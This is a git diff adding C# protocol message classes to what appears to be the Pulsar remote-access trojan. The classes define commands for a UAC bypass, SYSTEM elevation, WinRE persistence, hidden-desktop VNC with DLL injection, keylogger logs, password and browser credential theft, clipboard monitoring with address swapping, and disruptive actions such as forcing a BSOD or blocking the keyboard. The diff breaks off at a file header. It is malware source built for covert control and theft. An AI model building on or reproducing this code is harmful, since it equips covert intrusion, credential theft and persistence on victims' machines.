b/Pulsar.Common/Messages/Audio/GetOutputDevice.cs new file mode 100644 index 0000000..0e82f1e --- /dev/null +++ b/Pulsar.Common/Messages/Audio/GetOutputDevice.cs @@ -0,0 +1,10 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Audio +{ + [MessagePackObject] + public class GetOutputDevice : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/Audio/GetOutputDeviceResponse.cs b/Pulsar.Common/Messages/Audio/GetOutputDeviceResponse.cs new file mode 100644 index 0000000..f5666d6 --- /dev/null +++ b/Pulsar.Common/Messages/Audio/GetOutputDeviceResponse.cs @@ -0,0 +1,14 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; +using System; +using System.Collections.Generic; + +namespace Pulsar.Common.Messages.Audio +{ + [MessagePackObject] + public class GetOutputDeviceResponse : IMessage + { + [Key(1)] + public List> DeviceInfos { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Audio/GetOutputResponse.cs b/Pulsar.Common/Messages/Audio/GetOutputResponse.cs new file mode 100644 index 0000000..42e0391 --- /dev/null +++ b/Pulsar.Common/Messages/Audio/GetOutputResponse.cs @@ -0,0 +1,15 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Audio +{ + [MessagePackObject] + public class GetOutputResponse : IMessage + { + [Key(1)] + public byte[] Audio { get; set; } + + [Key(2)] + public int Device { get; set; } + } +} diff --git a/Pulsar.Common/Messages/ClientManagement/DoClearTempDirectory.cs b/Pulsar.Common/Messages/ClientManagement/DoClearTempDirectory.cs new file mode 100644 index 0000000..47449a8 --- /dev/null +++ b/Pulsar.Common/Messages/ClientManagement/DoClearTempDirectory.cs @@ -0,0 +1,10 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.ClientManagement +{ + [MessagePackObject] + public class DoClearTempDirectory : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/ClientManagement/DoClientDisconnect.cs b/Pulsar.Common/Messages/ClientManagement/DoClientDisconnect.cs new file mode 100644 index 0000000..3c82693 --- /dev/null +++ b/Pulsar.Common/Messages/ClientManagement/DoClientDisconnect.cs @@ -0,0 +1,10 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.ClientManagement +{ + [MessagePackObject] + public class DoClientDisconnect : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/ClientManagement/DoClientReconnect.cs b/Pulsar.Common/Messages/ClientManagement/DoClientReconnect.cs new file mode 100644 index 0000000..fb04e30 --- /dev/null +++ b/Pulsar.Common/Messages/ClientManagement/DoClientReconnect.cs @@ -0,0 +1,10 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class DoClientReconnect : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/ClientManagement/DoClientUninstall.cs b/Pulsar.Common/Messages/ClientManagement/DoClientUninstall.cs new file mode 100644 index 0000000..ac1e8dd --- /dev/null +++ b/Pulsar.Common/Messages/ClientManagement/DoClientUninstall.cs @@ -0,0 +1,10 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.ClientManagement +{ + [MessagePackObject] + public class DoClientUninstall : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/ClientManagement/UAC/DoAskElevate.cs b/Pulsar.Common/Messages/ClientManagement/UAC/DoAskElevate.cs new file mode 100644 index 0000000..e15d195 --- /dev/null +++ b/Pulsar.Common/Messages/ClientManagement/UAC/DoAskElevate.cs @@ -0,0 +1,10 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.ClientManagement.UAC +{ + [MessagePackObject] + public class DoAskElevate : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/ClientManagement/UAC/DoDeElevate.cs b/Pulsar.Common/Messages/ClientManagement/UAC/DoDeElevate.cs new file mode 100644 index 0000000..dbc3caa --- /dev/null +++ b/Pulsar.Common/Messages/ClientManagement/UAC/DoDeElevate.cs @@ -0,0 +1,10 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.ClientManagement.UAC +{ + [MessagePackObject] + public class DoDeElevate : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/ClientManagement/UAC/DoElevateSystem.cs b/Pulsar.Common/Messages/ClientManagement/UAC/DoElevateSystem.cs new file mode 100644 index 0000000..0b98c58 --- /dev/null +++ b/Pulsar.Common/Messages/ClientManagement/UAC/DoElevateSystem.cs @@ -0,0 +1,10 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.ClientManagement +{ + [MessagePackObject] + public class DoElevateSystem : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/ClientManagement/UAC/DoUACBypass.cs b/Pulsar.Common/Messages/ClientManagement/UAC/DoUACBypass.cs new file mode 100644 index 0000000..a9a1b94 --- /dev/null +++ b/Pulsar.Common/Messages/ClientManagement/UAC/DoUACBypass.cs @@ -0,0 +1,10 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.ClientManagement.UAC +{ + [MessagePackObject] + public class DoUACBypass : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/ClientManagement/WinRE/AddCustomFileWinRE.cs b/Pulsar.Common/Messages/ClientManagement/WinRE/AddCustomFileWinRE.cs new file mode 100644 index 0000000..0aafa33 --- /dev/null +++ b/Pulsar.Common/Messages/ClientManagement/WinRE/AddCustomFileWinRE.cs @@ -0,0 +1,15 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.ClientManagement.WinRE +{ + [MessagePackObject] + public class AddCustomFileWinRE : IMessage + { + [Key(1)] + public string Path { get; set; } = string.Empty; + + [Key(2)] + public string Arguments { get; set; } = string.Empty; + } +} diff --git a/Pulsar.Common/Messages/ClientManagement/WinRE/DoAddWinREPersistence.cs b/Pulsar.Common/Messages/ClientManagement/WinRE/DoAddWinREPersistence.cs new file mode 100644 index 0000000..18a04fa --- /dev/null +++ b/Pulsar.Common/Messages/ClientManagement/WinRE/DoAddWinREPersistence.cs @@ -0,0 +1,10 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.ClientManagement.WinRE +{ + [MessagePackObject] + public class DoAddWinREPersistence : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/ClientManagement/WinRE/DoRemoveWinREPersistence.cs b/Pulsar.Common/Messages/ClientManagement/WinRE/DoRemoveWinREPersistence.cs new file mode 100644 index 0000000..aaabd0f --- /dev/null +++ b/Pulsar.Common/Messages/ClientManagement/WinRE/DoRemoveWinREPersistence.cs @@ -0,0 +1,10 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.ClientManagement.WinRE +{ + [MessagePackObject] + public class DoRemoveWinREPersistence : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/FunStuff/DoBSOD.cs b/Pulsar.Common/Messages/FunStuff/DoBSOD.cs new file mode 100644 index 0000000..98eb4b5 --- /dev/null +++ b/Pulsar.Common/Messages/FunStuff/DoBSOD.cs @@ -0,0 +1,15 @@ +ο»Ώusing System; +using MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; + +namespace Pulsar.Common.Messages.FunStuff +{ + [MessagePackObject] + public class DoBSOD : IMessage + { + [Key(1)] + public string Message { get; set; } + } +} + diff --git a/Pulsar.Common/Messages/FunStuff/DoBlockKeyboardInput.cs b/Pulsar.Common/Messages/FunStuff/DoBlockKeyboardInput.cs new file mode 100644 index 0000000..f4c1887 --- /dev/null +++ b/Pulsar.Common/Messages/FunStuff/DoBlockKeyboardInput.cs @@ -0,0 +1,19 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.FunStuff +{ + [MessagePackObject] + public class DoBlockKeyboardInput : IMessage + { + [Key(0)] + public bool Block { get; set; } + + public DoBlockKeyboardInput() { } + + public DoBlockKeyboardInput(bool block) + { + Block = block; + } + } +} \ No newline at end of file diff --git a/Pulsar.Common/Messages/FunStuff/DoChangeWallpaper.cs b/Pulsar.Common/Messages/FunStuff/DoChangeWallpaper.cs new file mode 100644 index 0000000..2152570 --- /dev/null +++ b/Pulsar.Common/Messages/FunStuff/DoChangeWallpaper.cs @@ -0,0 +1,22 @@ +ο»Ώusing System; +using MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; + +namespace Pulsar.Common.Messages.FunStuff +{ + [MessagePackObject] + public class DoChangeWallpaper : IMessage + { + [Key(1)] + public string Message { get; set; } + + [Key(2)] + public byte[] ImageData { get; set; } + + [Key(3)] + public string ImageFormat { get; set; } + } +} + + diff --git a/Pulsar.Common/Messages/FunStuff/DoHideTaskbar.cs b/Pulsar.Common/Messages/FunStuff/DoHideTaskbar.cs new file mode 100644 index 0000000..e96dfad --- /dev/null +++ b/Pulsar.Common/Messages/FunStuff/DoHideTaskbar.cs @@ -0,0 +1,13 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; + +namespace Pulsar.Common.Messages.FunStuff +{ + [MessagePackObject] + public class DoHideTaskbar : IMessage + { + [Key(1)] + public string Message { get; set; } + } +} diff --git a/Pulsar.Common/Messages/FunStuff/DoMonitorsOff.cs b/Pulsar.Common/Messages/FunStuff/DoMonitorsOff.cs new file mode 100644 index 0000000..716da31 --- /dev/null +++ b/Pulsar.Common/Messages/FunStuff/DoMonitorsOff.cs @@ -0,0 +1,24 @@ +ο»Ώusing System; +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.FunStuff +{ + [MessagePackObject] + public class DoMonitorsOff : IMessage + { + [Key(0)] + public bool Off { get; set; } + + [Key(1)] + public bool On { get; set; } + + public DoMonitorsOff() { } + + public DoMonitorsOff(bool off = false, bool on = false) + { + Off = off; + On = on; + } + } +} diff --git a/Pulsar.Common/Messages/FunStuff/DoMouseSwap.cs b/Pulsar.Common/Messages/FunStuff/DoMouseSwap.cs new file mode 100644 index 0000000..074720c --- /dev/null +++ b/Pulsar.Common/Messages/FunStuff/DoMouseSwap.cs @@ -0,0 +1,12 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.FunStuff +{ + [MessagePackObject] + public class DoSwapMouseButtons : IMessage + { + [Key(1)] + public string Message { get; set; } + } +} diff --git a/Pulsar.Common/Messages/FunStuff/DoOpenCloseCDTray.cs b/Pulsar.Common/Messages/FunStuff/DoOpenCloseCDTray.cs new file mode 100644 index 0000000..2825169 --- /dev/null +++ b/Pulsar.Common/Messages/FunStuff/DoOpenCloseCDTray.cs @@ -0,0 +1,19 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.FunStuff +{ + [MessagePackObject] + public class DoCDTray : IMessage + { + [Key(0)] + public bool Open { get; set; } + + public DoCDTray() { } + + public DoCDTray(bool open) + { + Open = open; + } + } +} diff --git a/Pulsar.Common/Messages/FunStuff/DoSendBinFile.cs b/Pulsar.Common/Messages/FunStuff/DoSendBinFile.cs new file mode 100644 index 0000000..35caf3d --- /dev/null +++ b/Pulsar.Common/Messages/FunStuff/DoSendBinFile.cs @@ -0,0 +1,23 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.FunStuff +{ + [MessagePackObject] + public class DoSendBinFile : IMessage + { + [Key(0)] + public string FileName { get; set; } + + [Key(1)] + public byte[] Data { get; set; } + + public DoSendBinFile() { } + + public DoSendBinFile(string fileName, byte[] data) + { + FileName = fileName; + Data = data; + } + } +} \ No newline at end of file diff --git a/Pulsar.Common/Messages/GetDebugLog.cs b/Pulsar.Common/Messages/GetDebugLog.cs new file mode 100644 index 0000000..b0ebd17 --- /dev/null +++ b/Pulsar.Common/Messages/GetDebugLog.cs @@ -0,0 +1,12 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class GetDebugLog : IMessage + { + [Key(1)] + public string Log { get; set; } + } +} diff --git a/Pulsar.Common/Messages/MessageHandler.cs b/Pulsar.Common/Messages/MessageHandler.cs new file mode 100644 index 0000000..dcba868 --- /dev/null +++ b/Pulsar.Common/Messages/MessageHandler.cs @@ -0,0 +1,142 @@ +ο»Ώusing Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Threading; + +namespace Pulsar.Common.Messages +{ + /// + /// Handles registrations of s and processing of s. + /// + public static class MessageHandler + { + /// + /// List of registered s. + /// + private static readonly List Processors = new List(); + + /// + /// Used in lock statements to synchronize access to between threads. + /// + private static readonly object SyncLock = new object(); + + /// + /// Registers a to the available . + /// + /// The to register. + public static void Register(IMessageProcessor proc) + { + lock (SyncLock) + { + if (Processors.Contains(proc)) return; + Processors.Add(proc); + } + } + + /// + /// Unregisters a from the available . + /// + /// + public static void Unregister(IMessageProcessor proc) + { + lock (SyncLock) + { + Processors.Remove(proc); + } + } + + /// + /// Forwards the received to the appropriate s to execute it. + /// + /// The sender of the message. + /// The received message. + /// When true, executes each handler on the thread pool to avoid blocking the caller. + public static void Process(ISender sender, IMessage msg, bool dispatchAsync = true) + { + if (msg == null) + { + return; + } + + IEnumerable availableProcessors; + lock (SyncLock) + { + // select appropriate message processors + availableProcessors = Processors.Where(x => x.CanExecute(msg) && x.CanExecuteFrom(sender)).ToList(); + // ToList() is required to retrieve a thread-safe enumerator representing a moment-in-time snapshot of the message processors + } + + foreach (var executor in availableProcessors) + { + if (dispatchAsync) + { + QueueProcessorExecution(executor, sender, msg); + } + else + { + ExecuteProcessorSafely(executor, sender, msg); + } + } + } + + private static void QueueProcessorExecution(IMessageProcessor processor, ISender sender, IMessage message) + { + var context = new MessageDispatchContext + { + Processor = processor, + Sender = sender, + Message = message + }; + + ThreadPool.UnsafeQueueUserWorkItem(DispatchCallback, context); + } + + private static void ExecuteProcessorSafely(IMessageProcessor processor, ISender sender, IMessage message) + { + try + { + processor.Execute(sender, message); + } + catch (Exception ex) + { + Debug.WriteLine($"[MessageHandler] Processor '{processor?.GetType().Name}' threw an exception: {ex}"); + } + } + + private static readonly WaitCallback DispatchCallback = state => + { + if (state is MessageDispatchContext context) + { + context.Invoke(); + } + }; + + private sealed class MessageDispatchContext + { + public IMessageProcessor Processor; + public ISender Sender; + public IMessage Message; + + public void Invoke() + { + try + { + Processor?.Execute(Sender, Message); + } + catch (Exception ex) + { + Debug.WriteLine($"[MessageHandler] Processor '{Processor?.GetType().Name}' threw an exception: {ex}"); + } + finally + { + Processor = null; + Sender = null; + Message = null; + } + } + } + } +} diff --git a/Pulsar.Common/Messages/Monitoring/.DS_Store b/Pulsar.Common/Messages/Monitoring/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..cef19e6ca6e2bfbf362f5076ae46a58e78467b9b GIT binary patch literal 10244 zcmeHMU2GIp6h3EK%8VV_X|4PWTUe;_XM?Rjh(%$c3$(PgK>rI7c6Ww$!tBnvGrI+1 zv__*b@x|XqG5&-^4KV_b5Q#>3;Q`Z-h)8@ekr#b1CI-~RbMH)>PCHY5&`8M4X6EcY z_ndpb`^`Bsd+q`NZYyfd0C4~i>10xo=@M|Tes<0}1W(gI63HJR4Hl%J0Gc^6%Q{j- z3`7h>3`7h>3`7jv4h+ycn;l}ME2C?~K*T`Az!U@Q`4Fd*$%H4zUCAFEbm1ic$#PQj zgT7N8zN&I5Q`i@Z`8FU3Wm&9nhN@y$S{S?Bo~c z=70%TM%Rdeh=JJ*u-aXMRxrVU{Pg<0xhG>~^R7erFCkWTsWoj{X@Iiz>AY#!PE*rW z6w1oyRm>NqyDH@ca$kSnfIKv4WUO3|aZEp;RNJH0SUWX$7xa>$j}2rjvzX1<2b7vj z%FGnal%sDoO=e8GYCBV~Omnwo8;)V+h6Ww|h%-5muWNAFwhB%wAMAjl6m5O4PGcD* zJxL?dP_=Bf?mQdD?$--8$%aIeyFlq=)uPyn`_?`1@MD`>cXo77R4X;La-Fr#g|jHtdFn~Q-VF7y3O3T4pcf9&4%74SDjbK? za2C$NCAb3D;RpB`Zo)121O7w-E3pn2;v!s(D{wtFVKY96n{X$#VLR@{0UW|%+=m(( zcoM3I{t_^@fQ9r zlnYftwV((~1XYL$^+J=-EVKx%LYvU;f)~7(6%0=<#?!NQP}bR{yqizLiI9A1Yj4{n zci#5-^i37J{dd>hvv5(IrPanKwoQeg8?%#PIz9M##QXAuM?8;<8KF8siMBLWFE0J=lJH zLM_KP%PJIKfMphT!p81mc)x5itJ(*h{l#i5rJx zl1>{A({~H2*f*whaW%x%~nNGZxDM9v6!MCcU^=$M;f+*nUVMb ztzb_3kTv{`Pv9!%^zpAFPOzW?28jDKWM~yxKl2qgX7-2R^oIW;aeJ zN$x@yz8z1JZ^u)EZO5;nlNorMZ2Wt|(~Y~5yORxfC+Y6y|L1=O@Xdp${*UT^zBdq3 cH%!&{AvMEPzrS8M$RazS3inqp|9k!a7x803(*OVf literal 0 HcmV?d00001 diff --git a/Pulsar.Common/Messages/Monitoring/Clipboard/DoGetAddress.cs b/Pulsar.Common/Messages/Monitoring/Clipboard/DoGetAddress.cs new file mode 100644 index 0000000..3c547bf --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/Clipboard/DoGetAddress.cs @@ -0,0 +1,12 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.Clipboard +{ + [MessagePackObject] + public class DoGetAddress : IMessage + { + [Key(1)] + public string Type { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Monitoring/Clipboard/DoSendAddress.cs b/Pulsar.Common/Messages/Monitoring/Clipboard/DoSendAddress.cs new file mode 100644 index 0000000..4625d25 --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/Clipboard/DoSendAddress.cs @@ -0,0 +1,12 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.Clipboard +{ + [MessagePackObject] + public class DoSendAddress : IMessage + { + [Key(1)] + public string Address { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Monitoring/Clipboard/SendClipboardData.cs b/Pulsar.Common/Messages/Monitoring/Clipboard/SendClipboardData.cs new file mode 100644 index 0000000..cfbc11d --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/Clipboard/SendClipboardData.cs @@ -0,0 +1,12 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.Clipboard +{ + [MessagePackObject] + public class SendClipboardData : IMessage + { + [Key(1)] + public string ClipboardText { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Monitoring/Clipboard/SetClipboardMonitoringEnabled.cs b/Pulsar.Common/Messages/Monitoring/Clipboard/SetClipboardMonitoringEnabled.cs new file mode 100644 index 0000000..65f3a6a --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/Clipboard/SetClipboardMonitoringEnabled.cs @@ -0,0 +1,18 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.Clipboard +{ + /// + /// Message to enable or disable clipboard monitoring on the client. + /// + [MessagePackObject] + public class SetClipboardMonitoringEnabled : IMessage + { + /// + /// Gets or sets whether clipboard monitoring should be enabled. + /// + [Key(1)] + public bool Enabled { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Monitoring/HVNC/DoHVNCInput.cs b/Pulsar.Common/Messages/Monitoring/HVNC/DoHVNCInput.cs new file mode 100644 index 0000000..afe96c9 --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/HVNC/DoHVNCInput.cs @@ -0,0 +1,19 @@ +ο»Ώusing System; +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.HVNC +{ + [MessagePackObject] + public class DoHVNCInput : IMessage + { + [Key(1)] + public uint msg { get; set; } + + [Key(2)] + public int wParam { get; set; } + + [Key(3)] + public int lParam { get; set; } + } +} \ No newline at end of file diff --git a/Pulsar.Common/Messages/Monitoring/HVNC/GetHVNCDesktop.cs b/Pulsar.Common/Messages/Monitoring/HVNC/GetHVNCDesktop.cs new file mode 100644 index 0000000..0ae52ae --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/HVNC/GetHVNCDesktop.cs @@ -0,0 +1,31 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Enums; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.HVNC +{ + [MessagePackObject] + public class GetHVNCDesktop : IMessage + { + [Key(1)] + public bool CreateNew { get; set; } + + [Key(2)] + public int Quality { get; set; } + + [Key(3)] + public int DisplayIndex { get; set; } + + [Key(4)] + public RemoteDesktopStatus Status { get; set; } + + [Key(5)] + public bool UseGPU { get; set; } + + [Key(6)] + public int FramesRequested { get; set; } = 1; + + [Key(7)] + public bool IsBufferedMode { get; set; } = true; + } +} diff --git a/Pulsar.Common/Messages/Monitoring/HVNC/GetHVNCDesktopResponse.cs b/Pulsar.Common/Messages/Monitoring/HVNC/GetHVNCDesktopResponse.cs new file mode 100644 index 0000000..998c38e --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/HVNC/GetHVNCDesktopResponse.cs @@ -0,0 +1,31 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Video; + +namespace Pulsar.Common.Messages.Monitoring.HVNC +{ + [MessagePackObject] + public class GetHVNCDesktopResponse : IMessage + { + [Key(1)] + public byte[] Image { get; set; } + + [Key(2)] + public int Quality { get; set; } + + [Key(3)] + public int Monitor { get; set; } + + [Key(4)] + public Resolution Resolution { get; set; } + + [Key(5)] + public long Timestamp { get; set; } + + [Key(6)] + public bool IsLastRequestedFrame { get; set; } + + [Key(7)] + public float Fps { get; set; } = -1f; + } +} diff --git a/Pulsar.Common/Messages/Monitoring/HVNC/GetHVNCMonitors.cs b/Pulsar.Common/Messages/Monitoring/HVNC/GetHVNCMonitors.cs new file mode 100644 index 0000000..193cc55 --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/HVNC/GetHVNCMonitors.cs @@ -0,0 +1,10 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.HVNC +{ + [MessagePackObject] + public class GetHVNCMonitors : IMessage + { + } +} \ No newline at end of file diff --git a/Pulsar.Common/Messages/Monitoring/HVNC/GetHVNCMonitorsResponse.cs b/Pulsar.Common/Messages/Monitoring/HVNC/GetHVNCMonitorsResponse.cs new file mode 100644 index 0000000..dc9fd1d --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/HVNC/GetHVNCMonitorsResponse.cs @@ -0,0 +1,12 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.HVNC +{ + [MessagePackObject] + public class GetHVNCMonitorsResponse : IMessage + { + [Key(1)] + public int Number { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Monitoring/HVNC/StartHVNCProcess.cs b/Pulsar.Common/Messages/Monitoring/HVNC/StartHVNCProcess.cs new file mode 100644 index 0000000..8552eab --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/HVNC/StartHVNCProcess.cs @@ -0,0 +1,25 @@ +ο»Ώusing System; +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.HVNC +{ + [MessagePackObject] + public class StartHVNCProcess : IMessage + { + [Key(1)] + public string Path { get; set; } + [Key(2)] + public string Arguments { get; set; } + [Key(3)] + public bool DontCloneProfile { get; set; } + [Key(4)] + public byte[] DllBytes { get; set; } + [Key(5)] + public string CustomBrowserPath { get; set; } + [Key(6)] + public string CustomSearchPattern { get; set; } + [Key(7)] + public string CustomReplacementPath { get; set; } + } +} \ No newline at end of file diff --git a/Pulsar.Common/Messages/Monitoring/KeyLogger/GetKeyloggerLogsDirectory.cs b/Pulsar.Common/Messages/Monitoring/KeyLogger/GetKeyloggerLogsDirectory.cs new file mode 100644 index 0000000..e3572a1 --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/KeyLogger/GetKeyloggerLogsDirectory.cs @@ -0,0 +1,10 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.KeyLogger +{ + [MessagePackObject] + public class GetKeyloggerLogsDirectory : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/Monitoring/KeyLogger/GetKeyloggerLogsDirectoryResponse.cs b/Pulsar.Common/Messages/Monitoring/KeyLogger/GetKeyloggerLogsDirectoryResponse.cs new file mode 100644 index 0000000..23946ce --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/KeyLogger/GetKeyloggerLogsDirectoryResponse.cs @@ -0,0 +1,12 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class GetKeyloggerLogsDirectoryResponse : IMessage + { + [Key(1)] + public string LogsDirectory { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Monitoring/Passwords/GetPasswords.cs b/Pulsar.Common/Messages/Monitoring/Passwords/GetPasswords.cs new file mode 100644 index 0000000..c6d5ec4 --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/Passwords/GetPasswords.cs @@ -0,0 +1,11 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.Passwords +{ + [MessagePackObject] + public class GetPasswords : IMessage + { + + } +} diff --git a/Pulsar.Common/Messages/Monitoring/Passwords/GetPasswordsResponse.cs b/Pulsar.Common/Messages/Monitoring/Passwords/GetPasswordsResponse.cs new file mode 100644 index 0000000..2f0406e --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/Passwords/GetPasswordsResponse.cs @@ -0,0 +1,14 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; +using System.Collections.Generic; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class GetPasswordsResponse : IMessage + { + [Key(1)] + public List RecoveredAccounts { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Monitoring/Query/Browsers/GetBrowsers.cs b/Pulsar.Common/Messages/Monitoring/Query/Browsers/GetBrowsers.cs new file mode 100644 index 0000000..cdb35a6 --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/Query/Browsers/GetBrowsers.cs @@ -0,0 +1,11 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.Query +{ + [MessagePackObject] + public class GetBrowsers : IMessage + { + + } +} diff --git a/Pulsar.Common/Messages/Monitoring/Query/Browsers/GetBrowsersResponse.cs b/Pulsar.Common/Messages/Monitoring/Query/Browsers/GetBrowsersResponse.cs new file mode 100644 index 0000000..ad43997 --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/Query/Browsers/GetBrowsersResponse.cs @@ -0,0 +1,14 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models.Query.Browsers; +using System.Collections.Generic; + +namespace Pulsar.Common.Messages.Monitoring.Query.Browsers +{ + [MessagePackObject] + public class GetBrowsersResponse : IMessage + { + [Key(1)] + public List QueryBrowsers { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Monitoring/RemoteDesktop/DoDrawingEvent.cs b/Pulsar.Common/Messages/Monitoring/RemoteDesktop/DoDrawingEvent.cs new file mode 100644 index 0000000..a894533 --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/RemoteDesktop/DoDrawingEvent.cs @@ -0,0 +1,37 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; +using System.Drawing; + +namespace Pulsar.Common.Messages.Monitoring.RemoteDesktop +{ + [MessagePackObject] + public class DoDrawingEvent : IMessage + { + [Key(1)] + public int X { get; set; } + + [Key(2)] + public int Y { get; set; } + + [Key(3)] + public int PrevX { get; set; } + + [Key(4)] + public int PrevY { get; set; } + + [Key(5)] + public int StrokeWidth { get; set; } + + [Key(6)] + public int ColorArgb { get; set; } + + [Key(7)] + public bool IsEraser { get; set; } + + [Key(8)] + public bool IsClearAll { get; set; } + + [Key(9)] + public int MonitorIndex { get; set; } + } +} \ No newline at end of file diff --git a/Pulsar.Common/Messages/Monitoring/RemoteDesktop/DoKeyboardEvent.cs b/Pulsar.Common/Messages/Monitoring/RemoteDesktop/DoKeyboardEvent.cs new file mode 100644 index 0000000..5f61c9f --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/RemoteDesktop/DoKeyboardEvent.cs @@ -0,0 +1,15 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.RemoteDesktop +{ + [MessagePackObject] + public class DoKeyboardEvent : IMessage + { + [Key(1)] + public byte Key { get; set; } + + [Key(2)] + public bool KeyDown { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Monitoring/RemoteDesktop/DoMouseEvent.cs b/Pulsar.Common/Messages/Monitoring/RemoteDesktop/DoMouseEvent.cs new file mode 100644 index 0000000..01c18f2 --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/RemoteDesktop/DoMouseEvent.cs @@ -0,0 +1,25 